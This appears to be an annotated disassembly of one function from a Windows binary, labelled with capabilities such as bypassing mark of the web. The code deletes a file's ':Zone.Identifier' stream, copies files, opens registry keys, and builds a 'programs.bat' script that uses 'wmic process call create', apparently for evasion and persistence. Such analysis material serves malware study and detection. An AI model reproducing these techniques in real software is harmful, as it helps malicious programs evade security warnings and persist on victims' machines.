Function at 0x414eef
Capabilities:
Bypass mark of the web
Copy file
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov ebx, ecx
lea ecx, [ebp - 0x10]
push esi
push edi
mov dword [ebp - 0x14], ebx
call fcn.00413960
push 0xa
pop edx
lea ecx, [ebp - 0x28]
call fcn.004044c4
push ecx
push ecx
lea eax, [ebx + 0x10]
push eax
push ecx
mov ecx, ebx
call fcn.00414d25
mov ecx, ebx
mov esi, eax
call fcn.00414d63
xor edi, edi
test esi, esi
mov esi, dword [ebp - 0x10]
je 0x41502d
cmp dword [ebp + 8], edi
je 0x41502d
mov edx, dword [ebx + 0xc]
lea ecx, [ebp - 0x10]
lea edi, [ebx + 0x20]
call fcn.00413915
push eax
mov ecx, edi
call fcn.004043c7
mov ecx, dword [ebp - 0x10]
call fcn.00406f1d
mov ecx, edi
call fcn.004133fb
push 0x4194e4
mov ecx, edi
call fcn.004043fa
lea ecx, [ebx + 0x54]
mov edi, eax
push ecx
lea ecx, [ebp - 0x10]
call fcn.00404656
lea eax, [ebp - 0x10]
mov ecx, edi
push eax
call fcn.004042c5
mov ecx, dword [ebp - 0x10]
call fcn.00406f1d
xor edi, edi
push edi
push dword [ebx + 0x20]
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x415282
push ecx
push ecx
push esp
lea ecx, [ebx + 0x20]
call fcn.0040424e
push ecx
push ecx
push esp
lea ecx, [ebx + 0x30]
call fcn.004069a9
lea ecx, [ebp - 0x24]
call fcn.0040709b
add esp, 0x10
push ebx
push 0xf003f
push edi
push dword [ebx + 0x10]
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push 3
lea eax, [ebp - 0x24]
mov ecx, ebx
push eax
lea eax, [ebx + 0x18]
push eax
call fcn.00414dee
push dword [ebx + 0x20]
lea ecx, [ebp - 0x10]
call fcn.0040460a
push str.:Zone.Identifier
lea ecx, [ebp - 0xc]
call fcn.0040460a
push eax
lea ecx, [ebp - 0x10]
call fcn.004042c5
mov ecx, dword [ebp - 0xc]
call fcn.00406f1d
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x10]
call fcn.00406f1d
lea ecx, [ebp - 0x24]
call fcn.00404081
cmp dword [ebx], edi
jne 0x415046
push ebx
push 0xf003f
push edi
push dword [ebx + 0x10]
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp dword [ebp + 0x10], 0
je 0x4151aa
lea eax, [ebp - 0x18]
push eax
push edi
push edi
push 0x419390
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
push dword [ebp - 0x18]
lea ecx, [ebp + 0x10]
call fcn.0040460a
push str.programs.bat
lea ecx, [ebp + 0x10]
call fcn.004043fa
push str.for__F__usebackq_tokens____A_in___
lea ecx, [ebp - 0xc]
call fcn.0040460a
push dword [ebp + 0x10]
lea ecx, [ebp - 0xc]
call fcn.004043fa
push str.:start
mov ecx, eax
call fcn.004043fa
push str.___do___A
mov ecx, eax
call fcn.004043fa
lea ecx, [ebp - 0xc]
call fcn.004045f0
mov ebx, eax
lea ecx, [ebp - 0xc]
lea eax, [ebp - 0x1c]
push eax
call fcn.0040456d
lea ecx, [ebp + 0x10]
mov edi, dword [eax]
lea eax, [ebp - 0x10]
push eax
call fcn.0040456d
push ebx
mov edx, edi
mov ecx, dword [eax]
call fcn.00415c81
mov ecx, dword [ebp - 0x10]
call fcn.00406f1d
mov ecx, dword [ebp - 0x1c]
call fcn.00406f1d
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x10]
mov edx, dword [edx + 0xc]
call fcn.00413915
lea ecx, [ebp - 0x10]
mov dword [esp], str.Documents:ApplicationData
call fcn.004043fa
push str.wmic_process_call_create__
lea ecx, [ebp - 8]
call fcn.0040460a
push dword [ebp - 0x10]
lea ecx, [ebp - 8]
call fcn.004043fa
push 0x41c678
mov ecx, eax
call fcn.004043fa
push str.:start
lea ecx, [ebp + 0x10]
call fcn.004043fa
lea ecx, [ebp - 8]
call fcn.004045f0
mov ebx, eax
lea ecx, [ebp - 8]
lea eax, [ebp - 0x20]
push eax
call fcn.0040456d
lea ecx, [ebp + 0x10]
mov edi, dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.0040456d
push ebx
mov edx, edi
mov ecx, dword [eax]
call fcn.00415c81
pop ecx
mov ecx, dword [ebp - 0x1c]
call fcn.00406f1d
mov ecx, dword [ebp - 0x20]
call fcn.00406f1d
xor edi, edi
push edi
push dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ecx, dword [ebp - 8]
call fcn.00406f1d
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 8], edi
call fcn.00406f1d
mov ecx, dword [ebp - 0xc]
call fcn.00406f1d
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0xc], edi
call fcn.00406f1d
mov ebx, dword [ebp - 0x14]
cmp dword [ebp + 0xc], 0
je 0x415247
cmp dword [ebp + 8], 0
jne 0x4151df
mov dword [ebx + 0x20], edi
test esi, esi
je 0x4151df
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406e8d
push esi
push eax
mov dword [ebx + 0x20], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push edi
push 0x20006
lea eax, [ebx + 0x14]
push eax
push dword [ebx + 8]
lea ecx, [ebx + 4]
mov dword [ebp + 0x10], ecx
call fcn.00414e25
test eax, eax
je 0x415282
lea eax, [ebx + 0x20]
push eax
lea ecx, [ebp - 0x24]
call fcn.00404011
lea ecx, [ebx + 0x5c]
mov edi, eax
push ecx
lea ecx, [ebp + 8]
call fcn.00404656
mov ebx, dword [ebp + 0x10]
lea eax, [ebp + 8]
push 1
push edi
push eax
mov ecx, ebx
call fcn.00414dee
mov ecx, dword [ebp + 8]
mov edi, eax
call fcn.00406f1d
lea ecx, [ebp - 0x24]
call fcn.00404081
test edi, edi
je 0x41529a
mov ecx, ebx
call fcn.00414d63
push esi
lea ecx, [ebp + 8]
call fcn.0040460a
push str.:Zone.Identifier
lea ecx, [ebp + 0x10]
call fcn.0040460a
push eax
lea ecx, [ebp + 8]
call fcn.004042c5
mov ecx, dword [ebp + 0x10]
call fcn.00406f1d
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp + 8]
xor edi, edi
inc edi
call fcn.00406f1d
mov ecx, dword [ebp - 0x28]
call fcn.00406f1d
mov ecx, esi
call fcn.00406f1d
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0xc
xor edi, edi
jmp 0x415282